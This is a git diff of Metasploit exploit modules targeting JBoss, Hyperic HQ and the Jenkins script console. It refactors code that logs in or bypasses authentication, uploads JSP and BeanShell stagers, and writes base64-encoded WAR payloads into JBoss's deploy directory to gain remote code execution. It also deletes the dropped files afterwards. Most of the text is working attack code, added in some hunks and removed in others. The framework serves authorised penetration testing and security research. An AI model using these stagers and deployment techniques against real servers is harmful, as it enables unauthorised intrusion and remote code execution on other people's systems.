-37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote [ # Tested on Hyperic HQ versions 4.5.2-win32 and 4.6.6-win32 on Windows XP SP3 and Ubuntu 10.04 ['Automatic', {} ], - ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win'}], + ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => 'vbs'}], ['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }], ['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}] ], @@ -63,13 +63,16 @@ class Metasploit3 < Msf::Exploit::Remote @cookie = "JSESSIONID=#{Rex::Text.rand_text_hex(32)}" res = send_request_cgi({ - 'uri' => normalize_uri(@uri.path, "j_spring_security_check?org.apache.catalina.filters.CSRF_NONCE="), + 'uri' => normalize_uri(@uri.path, 'j_spring_security_check'), 'method' => 'POST', 'cookie' => @cookie, 'vars_post' => { 'j_username' => Rex::Text.uri_encode(user, 'hex-normal'), 'j_password' => Rex::Text.uri_encode(pass, 'hex-normal'), 'submit' => 'Sign+in' + }, + 'vars_get' => { + 'org.apache.catalina.filters.CSRF_NONCE' => '' } }) @@ -81,8 +84,11 @@ class Metasploit3 < Msf::Exploit::Remote # def get_nonce res = send_request_cgi({ - 'uri' => normalize_uri(@uri.path, "mastheadAttach.do?typeId=10003"), - 'cookie' => @cookie + 'uri' => normalize_uri(@uri.path, 'mastheadAttach.do'), + 'cookie' => @cookie, + 'vars_get' => { + 'typeId' => '10003' + } }) if not res or res.code != 200 @@ -241,7 +247,6 @@ class Metasploit3 < Msf::Exploit::Remote end - def exploit # login @@ -275,7 +280,7 @@ class Metasploit3 < Msf::Exploit::Remote # send payload case @my_target['Platform'] when 'win' - print_status("#{peer} - Sending VBS stager...") + print_status("#{peer} - Sending command stager...") execute_cmdstager({:linemax => 2049}) when 'unix' print_status("#{peer} - Sending UNIX payload...") diff --git a/modules/exploits/multi/http/ispconfig_php_exec.rb b/modules/exploits/multi/http/ispconfig_php_exec.rb index 12fbbbda2f..4b2814ccd4 100644 --- a/modules/exploits/multi/http/ispconfig_php_exec.rb +++ b/modules/exploits/multi/http/ispconfig_php_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/jboss_bshdeployer.rb b/modules/exploits/multi/http/jboss_bshdeployer.rb index 732dd27b37..ed76c4d3d0 100644 --- a/modules/exploits/multi/http/jboss_bshdeployer.rb +++ b/modules/exploits/multi/http/jboss_bshdeployer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] } - include Msf::Exploit::Remote::HttpClient + include Msf::HTTP::JBoss def initialize(info = {}) super(update_info(info, @@ -82,14 +82,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ Opt::RPORT(8080), - OptString.new('USERNAME', [ false, 'The username to authenticate as' ]), - OptString.new('PASSWORD', [ false, 'The password for the specified username' ]), - OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]), - OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]), - OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]), - OptString.new('PACKAGE', [ true, 'The package containing the BSHDeployer service', 'auto' ]), - OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']]) - + OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]), + OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]) ], self.class) end @@ -98,48 +92,12 @@ class Metasploit3 < Msf::Exploit::Remote jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8)) app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8)) - - # Dynamic variables, only used if we need a stager - stager_base = rand_text_alpha(8+rand(8)) - stager_jsp_name = rand_text_alpha(8+rand(8)) - content_var = rand_text_alpha(8+rand(8)) - decoded_var = rand_text_alpha(8+rand(8)) - file_path_var = rand_text_alpha(8+rand(8)) - jboss_home_var = rand_text_alpha(8+rand(8)) - fos_var = rand_text_alpha(8+rand(8)) - - - # The following jsp script will write the exploded WAR file to the deploy/ - # directory. This is used to bypass the size limit for GET/HEAD requests - stager_jsp = <<-EOT -<%@page import="java.io.*, - java.util.*, - sun.misc.BASE64Decoder" -%> -<% - if (request.getParameter("#{content_var}") != null) { - String #{jboss_home_var} = System.getProperty("jboss.server.home.dir"); - String #{file_path_var} = #{jboss_home_var} + "/deploy/" + "#{app_base}.war"; - try { - String #{content_var} = ""; - #{content_var} = request.getParameter("#{content_var}"); - FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var}); - byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var}); - #{fos_var}.write(#{decoded_var}); - #{fos_var}.close(); - } - catch(Exception e){ } - } -%> - -EOT - p = payload mytarget = target - if (target.name =~ /Automatic/) - mytarget = auto_target() - if (not mytarget) + if target.name =~ /Automatic/ + mytarget = auto_target(targets) + unless mytarget fail_with(Failure::NoTarget, "Unable to automatically select a target") end print_status("Automatically selected target \"#{mytarget.name}\"") @@ -156,304 +114,85 @@ EOT # Generate the WAR containing the payload war_data = p.encoded_war({ - :app_name => app_base, - :jsp_name => jsp_name, - :arch => mytarget.arch, - :platform => mytarget.platform - }).to_s + :app_name => app_base, + :jsp_name => jsp_name, + :arch => mytarget.arch, + :platform => mytarget.platform + }).to_s encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '') - if datastore['VERB'] == 'POST' then - deploy_payload_bsh(encoded_payload, app_base) + if http_verb == 'POST' + print_status("Deploying payload...") + opts = { + :file => "#{app_base}.war", + :contents => encoded_payload + } else - # We need to deploy a stager first - encoded_stager_jsp = Rex::Text.encode_base64(stager_jsp).gsub(/\n/, '') - deploy_stager_bsh(encoded_stager_jsp, stager_base, stager_jsp_name) + print_status("Deploying stager...") + stager_base = rand_text_alpha(8+rand(8)) + stager_jsp_name = rand_text_alpha(8+rand(8)) + stager_contents = stager_jsp(app_base) + opts = { + :dir => "#{stager_base}.war", + :file => "#{stager_base}.war/#{stager_jsp_name}.jsp", + :contents => Rex::Text.encode_base64(stager_contents).gsub(/\n/, '') + } + end + + bsh_payload = generate_bsh(:create, opts) + package = deploy_bsh(bsh_payload) + + if package.nil? + fail_with(Failure::Unknown, "Failed to deploy") + end + + unless http_verb == 'POST' # now we call the stager to deploy our real payload war stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp' - payload_data = "#{content_var}=#{Rex::Text.uri_encode(encoded_payload)}" - print_status("Calling stager to deploy final payload") - call_uri_mtimes(stager_uri, 5, 'POST', payload_data) + payload_data = "#{rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}" + print_status("Calling stager #{stager_uri } to deploy final payload") + res = deploy('method' => 'POST', + 'data' => payload_data, + 'uri' => stager_uri) + unless res && res.code == 200 + fail_with(Failure::Unknown, "Failed to deploy") + end end + # # EXECUTE # uri = '/' + app_base + '/' + jsp_name + '.jsp' print_status("Calling JSP file with final payload...") print_status("Executing #{uri}...") - - # The payload doesn't like POST requests - tmp_verb = datastore['VERB'] - tmp_verb = 'GET' if tmp_verb == 'POST' - call_uri_mtimes(uri, 5, tmp_verb) - + deploy('uri' => uri, 'method' => 'GET') # # DELETE # # The WAR can only be removed by physically deleting it, otherwise it # will get redeployed after a server restart. - delete_script = <<-EOT -String jboss_home = System.getProperty("jboss.server.home.dir"); -new File(jboss_home + "/deploy/#{app_base + '.war'}").delete(); -EOT - - delete_stager_script = <<-EOT -String jboss_home = System.getProperty("jboss.server.home.dir"); -new File(jboss_home + "/deploy/#{stager_base + '.war/' + stager_jsp_name + '.jsp'}").delete(); -new File(jboss_home + "/deploy/#{stager_base + '.war'}").delete(); -new File(jboss_home + "/deploy/#{app_base + '.war'}").delete(); -EOT - - delete_script = delete_stager_script if datastore['VERB'] != 'POST' - print_status("Undeploying #{uri} by deleting the WAR file via BSHDeployer...") - res = invoke_bshscript(delete_script, @pkg) - if !res - print_warning("WARNING: Unable to remove WAR [No Response]") + + files = {} + unless http_verb == 'POST' + files[:stager_jsp_name] = "#{stager_base}.war/#{stager_jsp_name}.jsp" + files[:stager_base] = "#{stager_base}.war" end - if (res.code < 200 || res.code >= 300) + files[:app_base] = "#{app_base}.war" + delete_script = generate_bsh(:delete, files) + + res = invoke_bsh_script(delete_script, package) + if res.nil? + print_warning("WARNING: Unable to remove WAR [No Response]") + elsif res.code < 200 || res.code >= 300 print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]") end handler end - - def deploy_stager_bsh(encoded_stager_code, stager_base, stager_jsp_name) - - jsp_file_var = rand_text_alpha(8+rand(8)) - jboss_home_var = rand_text_alpha(8+rand(8)) - fstream_var = rand_text_alpha(8+rand(8)) - byteval_var = rand_text_alpha(8+rand(8)) - stager_var = rand_text_alpha(8+rand(8)) - decoder_var = rand_text_alpha(8+rand(8)) - - # The following Beanshell script will write a short stager application into the deploy - # directory. This stager script is then used to install the payload - # - # This is neccessary to overcome the size limit for GET/HEAD requests - stager_bsh_script = <<-EOT -import java.io.FileOutputStream; -import sun.misc.BASE64Decoder; - -String #{stager_var} = "#{encoded_stager_code}"; - -BASE64Decoder #{decoder_var} = new BASE64Decoder(); -String #{jboss_home_var} = System.getProperty("jboss.server.home.dir"); -new File(#{jboss_home_var} + "/deploy/#{stager_base + '.war'}").mkdir(); -byte[] #{byteval_var} = #{decoder_var}.decodeBuffer(#{stager_var}); -String #{jsp_file_var} = #{jboss_home_var} + "/deploy/#{stager_base + '.war/' + stager_jsp_name + '.jsp'}"; -FileOutputStream #{fstream_var} = new FileOutputStream(#{jsp_file_var}); -#{fstream_var}.write(#{byteval_var}); -#{fstream_var}.close(); -EOT - print_status("Creating exploded WAR in deploy/#{stager_base}.war/ dir via BSHDeployer") - deploy_bsh(stager_bsh_script) - end - - - def deploy_payload_bsh(encoded_payload, app_base) - - # The following Beanshell script will write the exploded WAR file to the deploy/ - # directory - payload_bsh_script = <<-EOT -import java.io.FileOutputStream; -import sun.misc.BASE64Decoder; - -String val = "#{encoded_payload}"; - -BASE64Decoder decoder = new BASE64Decoder(); -String jboss_home = System.getProperty("jboss.server.home.dir"); -byte[] byteval = decoder.decodeBuffer(val); -String war_file = jboss_home + "/deploy/#{app_base + '.war'}"; -FileOutputStream fstream = new FileOutputStream(war_file); -fstream.write(byteval); -fstream.close(); -EOT - - print_status("Creating exploded WAR in deploy/#{app_base}.war/ dir via BSHDeployer") - deploy_bsh(payload_bsh_script) - - end - - def deploy_bsh(bsh_script) - if datastore['PACKAGE'] == 'auto' - packages = %w{ deployer scripts } - else - packages = [ datastore['PACKAGE'] ] - end - - success = false - packages.each do |p| - print_status("Attempting to use '#{p}' as package") - res = invoke_bshscript(bsh_script, p) - if !res - fail_with(Failure::Unknown, "Unable to deploy WAR [No Response]") - end - - if (res.code < 200 || res.code >= 300) - case res.code - when 401 - print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") - fail_with(Failure::NoAccess, "Authentication requested: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") - end - - print_error("Upload to deploy WAR [#{res.code} #{res.message}]") - fail_with(Failure::Unknown, "Invalid reply: #{res.code} #{res.message}") - else - success = true - @pkg = p - break - end - end - - if not success - fail_with(Failure::Unknown, "Failed to deploy the WAR payload") - end - end - - - def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil) - verb = datastore['VERB'] if verb.nil? - - # JBoss might need some time for the deployment. Try 5 times at most and - # wait 5 seconds inbetween tries - num_attempts.times do |attempt| - - if (verb == "POST") - res = send_request_cgi( - { - 'uri' => uri, - 'method' => verb, - 'data' => data - }, 5) - else - - uri += "?#{data}" unless data.nil? - res = send_request_cgi( - { - 'uri' => uri, - 'method' => verb - }, 30) - end - - msg = nil - if (!res) - msg = "Execution failed on #{uri} [No Response]" - elsif (res.code < 200 or res.code >= 300) - msg = "http request failed to #{uri} [#{res.code}]" - elsif (res.code == 200) - print_status("Successfully called '#{uri}'") if datastore['VERBOSE'] - return res - end - - if (attempt < num_attempts - 1) - msg << ", retrying in 5 seconds..." - print_status(msg) if datastore['VERBOSE'] - select(nil, nil, nil, 5) - else - print_error(msg) - return res - end - end - end - - - def auto_target - if datastore['VERB'] == 'HEAD' then - print_status("Sorry, automatic target detection doesn't work with HEAD requests") - else - print_status("Attempting to automatically select a target...") - res = query_serverinfo - if not (plat = detect_platform(res)) - fail_with(Failure::NoTarget, 'Unable to detect platform!') - end - - if not (arch = detect_architecture(res)) - fail_with(Failure::NoTarget, 'Unable to detect architecture!') - end - - # see if we have a match - targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) } - end - - # no matching target found, use Java as fallback - java_targets = targets.select {|t| t.name =~ /^Java/ } - return java_targets[0] - end - - def query_serverinfo - path = normalize_uri(datastore['PATH'], '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo') - res = send_request_raw( - { - 'uri' => path, - 'method' => datastore['VERB'] - }, 20) - - if (not res) or (res.code != 200) - print_error("Failed: Error requesting #{path}") - return nil - end - - res - end - - # Try to autodetect the target platform - def detect_platform(res) - if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m) - os = $1 - if (os =~ /Linux/i) - return 'linux' - elsif (os =~ /FreeBSD/i) - return 'linux' - elsif (os =~ /Windows/i) - return 'win' - end - end - nil - end - - - # Try to autodetect the target architecture - def detect_architecture(res) - if (res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m) - arch = $1 - if (arch =~ /(x86|i386|i686)/i) - return ARCH_X86 - elsif (arch =~ /(x86_64|amd64)/i) - return ARCH_X86 - end - end - nil - end - - - # Invokes +bsh_script+ on the JBoss AS via BSHDeployer - def invoke_bshscript(bsh_script, pkg) - params = 'action=invokeOpByName' - params << '&name=jboss.' + pkg + ':service=BSHDeployer' - params << '&methodName=createScriptDeployment' - params << '&argType=java.lang.String' - params << '&arg0=' + Rex::Text.uri_encode(bsh_script) - params << '&argType=java.lang.String' - params << '&arg1=' + rand_text_alphanumeric(8+rand(8)) + '.bsh' - - if (datastore['VERB']== "POST") - res = send_request_cgi({ - 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), - 'data' => params - }) - else - res = send_request_cgi({ - 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{params}" - }, 30) - end - res - end end diff --git a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb index 4c64b6f53c..e45201dc4d 100644 --- a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb +++ b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb @@ -1,10 +1,7 @@ -# -*- coding: binary -*- - ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' class Metasploit3 < Msf::Exploit::Remote @@ -12,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] } - include Msf::Exploit::Remote::HttpClient + include Msf::HTTP::JBoss def initialize(info = {}) super(update_info(info, @@ -78,12 +75,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ Opt::RPORT(8080), - OptString.new('USERNAME', [ false, 'The username to authenticate as' ]), - OptString.new('PASSWORD', [ false, 'The password for the specified username' ]), OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]), - OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]), - OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]), - OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']]) + OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]) ], self.class) end @@ -91,23 +84,16 @@ class Metasploit3 < Msf::Exploit::Remote jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8)) app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8)) stager_base = rand_text_alpha(8+rand(8)) - head_stager_jsp = rand_text_alpha(8+rand(8)) - stager_jsp = rand_text_alpha(8+rand(8)) - content_var = rand_text_alpha(8+rand(8)) - decoded_var = rand_text_alpha(8+rand(8)) - file_path_var = rand_text_alpha(8+rand(8)) - jboss_home_var = rand_text_alpha(8+rand(8)) - fos_var = rand_text_alpha(8+rand(8)) - bw_var = rand_text_alpha(8+rand(8)) + stager_jsp_name = rand_text_alpha(8+rand(8)) p = payload mytarget = target - if (datastore['VERB'] == 'HEAD') + if (http_verb == 'HEAD') print_status("Unable to automatically select a target with HEAD requests") else if (target.name =~ /Automatic/) - mytarget = auto_target() + mytarget = auto_target(targets) if (not mytarget) fail_with(Failure::NoTarget, "Unable to automatically select a target") end @@ -134,289 +120,69 @@ class Metasploit3 < Msf::Exploit::Remote }).to_s encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '') - - # The following jsp script will write the stager to the - # deploy/management directory. It is only used with HEAD/GET requests - # to overcome the size limit in those requests - head_stager_jsp_code = <<-EOT -<%@page import="java.io.*, - java.util.*" -%> - -<% - - String #{jboss_home_var} = System.getProperty("jboss.server.home.dir"); - String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp}" + ".jsp"; - - - if (request.getParameter("#{content_var}") != null) { - - try { - String #{content_var} = ""; - #{content_var} = request.getParameter("#{content_var}"); - FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true); - BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var}); - #{bw_var}.write(#{content_var}); - #{bw_var}.close(); - } - catch(Exception e) - { - } - } -%> - -EOT - - # The following jsp script will write the exploded WAR file to the deploy/ - # directory or try to delete it - stager_jsp_code = <<-EOT -<%@page import="java.io.*, - java.util.*, - sun.misc.BASE64Decoder" -%> - -<% - - String #{jboss_home_var} = System.getProperty("jboss.server.home.dir"); - String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{app_base}.war"; - - - try { - String #{content_var} = "#{encoded_payload}"; - byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var}); - FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var}); - #{fos_var}.write(#{decoded_var}); - #{fos_var}.close(); - } - catch(Exception e) - { - } -%> - -EOT - + stager_contents = stager_jsp_with_payload(app_base, encoded_payload) # Depending on the type on the verb we might use a second stager - if datastore['VERB'] == "POST" then + if http_verb == "POST" then print_status("Deploying stager for the WAR file") - res = upload_file(stager_base, stager_jsp, stager_jsp_code) + res = upload_file(stager_base, stager_jsp_name, stager_contents) else print_status("Deploying minimal stager to upload the payload") - res = upload_file(stager_base, head_stager_jsp, head_stager_jsp_code) - head_stager_uri = "/" + stager_base + "/" + head_stager_jsp + ".jsp?" + head_stager_jsp_name = rand_text_alpha(8+rand(8)) + head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name) + head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp" + res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents) # We split the stager_jsp_code in multipe junks and transfer on the # target with multiple requests current_pos = 0 - while current_pos < stager_jsp_code.length + while current_pos < stager_contents.length next_pos = current_pos + 5000 + rand(100) - junk = "#{content_var}=" + Rex::Text.uri_encode(stager_jsp_code[current_pos,next_pos]) - print_status("Uploading second stager (#{current_pos}/#{stager_jsp_code.length})") - res = call_uri_mtimes(head_stager_uri + junk) + vars_get = { "arg0" => stager_contents[current_pos,next_pos] } + print_status("Uploading second stager (#{current_pos}/#{stager_contents.length})") + res = deploy('uri' => head_stager_uri, + 'vars_get' => vars_get) current_pos += next_pos end end - - # Call the stager to deploy the payload war file # Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA), # but the file still gets written. - if (res.code == 200 || res.code == 500) - print_status("Calling stager to deploy the payload warfile (might take some time)") - stager_uri = '/' + stager_base + '/' + stager_jsp + '.jsp' - stager_res = call_uri_mtimes(stager_uri) + unless res && ( res.code == 200 || res.code == 500) + fail_with(Failure::Unknown, "Failed to deploy") + end - print_status("Try to call the deployed payload") - # Try to execute the payload by calling the deployed WAR file - payload_uri = "/" + app_base + "/" + jsp_name + '.jsp' - payload_res = call_uri_mtimes(payload_uri) + print_status("Calling stager to deploy the payload warfile (might take some time)") + stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp' + stager_res = deploy('uri' => stager_uri, + 'method' => 'GET') - # - # DELETE - # - # The WAR can only be removed by physically deleting it, otherwise it - # will get redeployed after a server restart. - print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...") - print_status("This might take some time, be patient...") if datastore['VERB'] == "HEAD" - delete_res = [] - delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', stager_jsp, '.jsp') - delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', head_stager_jsp, '.jsp') - delete_res << delete_file('./', Rex::Text.uri_encode(stager_base) + '.war', '') - delete_res << delete_file('./', Rex::Text.uri_encode(app_base) + '.war', '') - delete_res.each do |res| - if !res - print_warning("WARNING: Unable to remove WAR [No Response]") - elsif (res.code < 200 || res.code >= 300) - print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]") - end + print_status("Try to call the deployed payload") + # Try to execute the payload by calling the deployed WAR file + payload_uri = "/" + app_base + "/" + jsp_name + '.jsp' + payload_res = deploy('uri' => payload_uri) + + # + # DELETE + # + # The WAR can only be removed by physically deleting it, otherwise it + # will get redeployed after a server restart. + print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...") + print_status("This might take some time, be patient...") if http_verb == "HEAD" + delete_res = [] + if head_stager_jsp_name + delete_res << delete_file(stager_base + '.war', head_stager_jsp_name, '.jsp') + end + delete_res << delete_file(stager_base + '.war', stager_jsp_name, '.jsp') + delete_res << delete_file('./', stager_base + '.war', '') + delete_res << delete_file('./', app_base + '.war', '') + delete_res.each do |res| + if !res + print_warning("WARNING: Unable to remove WAR [No Response]") + elsif (res.code < 200 || res.code >= 300) + print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]") end handler end end - - - # Upload a text file with DeploymentFileRepository.store() - def upload_file(base_name, jsp_name, content) - data = 'action=invokeOpByName' - data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository' - data << '&methodName=store' - data << '&argType=java.lang.String' - data << '&arg0=' + Rex::Text.uri_encode(base_name) + '.war' - data << '&argType=java.lang.String' - data << '&arg1=' + jsp_name - data << '&argType=java.lang.String' - data << '&arg2=.jsp' - data << '&argType=java.lang.String' - data << '&arg3=' + Rex::Text.uri_encode(content) - data << '&argType=boolean' - data << '&arg4=True' - - if (datastore['VERB'] == "POST") - res = send_request_cgi( - { - 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), - 'method' => datastore['VERB'], - 'data' => data - }, 5) - else - res = send_request_cgi( - { - 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{data}", - 'method' => datastore['VERB'], - }, 30) - end - - res - end - - - # Delete a file with DeploymentFileRepository.remove(). - def delete_file(folder, name, ext) - data = 'action=invokeOpByName' - data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository' - data << '&methodName=remove' - data << '&argType=java.lang.String' - data << '&arg0=' + folder - data << '&argType=java.lang.String' - data << '&arg1=' + name - data << '&argType=java.lang.String' - data << '&arg2=' + ext - - if (datastore['VERB'] == "POST") - res = send_request_cgi( - { - 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), - 'method' => datastore['VERB'], - 'data' => data - }, 5) - else - res = send_request_cgi( - { - 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor;index.jsp') + "?#{data}", - 'method' => datastore['VERB'], - }, 30) - end - res - end - - # Call the URL multiple times until we have hit - def call_uri_mtimes(uri, num_attempts = 5) - verb = 'HEAD' if (datastore['VERB'] != 'GET' and datastore['VERB'] != 'POST') - - # JBoss might need some time for the deployment. Try 5 times at most and - # wait 5 seconds inbetween tries - num_attempts.times do |attempt| - res = send_request_cgi({ - 'uri' => uri, - 'method' => verb - }, 30) - - stripped_uri = uri[0,70] + "..." - msg = nil - if (!res) - msg = "Execution failed on #{stripped_uri} [No Response]" - elsif (res.code < 200 or res.code >= 300) - msg = "http request failed to #{stripped_uri} [#{res.code}]" - elsif (res.code == 200) - print_status("Successfully called '#{stripped_uri}'") if datastore['VERBOSE'] - return res - end - - if (attempt < num_attempts - 1) - msg << ", retrying in 5 seconds..." - print_status(msg) if datastore['VERBOSE'] - select(nil, nil, nil, 5) - else - print_error(msg) - return res - end - end - end - - - def auto_target - print_status("Attempting to automatically select a target...") - res = query_serverinfo - if not (plat = detect_platform(res)) - fail_with(Failure::NoTarget, 'Unable to detect platform!') - end - - if not (arch = detect_architecture(res)) - fail_with(Failure::NoTarget, 'Unable to detect architecture!') - end - - # see if we have a match - targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) } - - # no matching target found, use Java as fallback - java_targets = targets.select {|t| t.name =~ /^Java/ } - return java_targets[0] - end - - - def query_serverinfo - path = normalize_uri(datastore['PATH'], '/HtmlAdaptor') + '?action=inspectMBean&name=jboss.system:type=ServerInfo' - res = send_request_raw( - { - 'uri' => path, - 'method' => datastore['VERB'] - }, 20) - - if (not res) or (res.code != 200) - print_error("Failed: Error requesting #{path}") - return nil - end - - res - end - - # Try to autodetect the target platform - def detect_platform(res) - if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m) - os = $1 - if (os =~ /Linux/i) - return 'linux' - elsif (os =~ /FreeBSD/i) - return 'linux' - elsif (os =~ /Windows/i) - return 'win' - end - end - nil - end - - - # Try to autodetect the target architecture - def detect_architecture(res) - if (res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m) - arch = $1 - if (arch =~ /(x86|i386|i686)/i) - return ARCH_X86 - elsif (arch =~ /(x86_64|amd64)/i) - return ARCH_X86 - end - end - nil - end - end diff --git a/modules/exploits/multi/http/jboss_invoke_deploy.rb b/modules/exploits/multi/http/jboss_invoke_deploy.rb index a9cf6273fc..41865e2c6e 100644 --- a/modules/exploits/multi/http/jboss_invoke_deploy.rb +++ b/modules/exploits/multi/http/jboss_invoke_deploy.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index 1ef454ed64..846fd9daba 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -315,9 +315,12 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => path }, 20) + if (res) && (res.code == 401) + fail_with(Failure::NoAccess,"Unable to bypass authentication. Try changing the verb to HEAD to exploit CVE-2010-0738.") + end + if (not res) or (res.code != 200) - print_error("Failed: Error requesting #{path}") - return nil + fail_with(Failure::Unknown,"Failed: Error requesting #{path}") end res diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index 3c7bf20530..23d86ba140 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -33,10 +33,10 @@ class Metasploit3 < Msf::Exploit::Remote ['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console'] ], 'Platform' => %w{ win linux unix }, - 'Targets' => + 'Targets' => [ - ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win'}], - ['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }], + ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => 'vbs'}], + ['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }], ['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}] ], 'DisclosureDate' => 'Jan 18 2013', @@ -80,6 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote } } request_parameters['cookie'] = @cookie if @cookie != nil + request_parameters['vars_post']['.crumb'] = @crumb if @crumb != nil res = send_request_cgi(request_parameters) if not (res and res.code == 200) fail_with(Failure::Unknown, 'Failed to execute the command.') @@ -135,7 +136,6 @@ class Metasploit3 < Msf::Exploit::Remote @to_delete = "/tmp/#{file}" end - def exploit @uri = target_uri 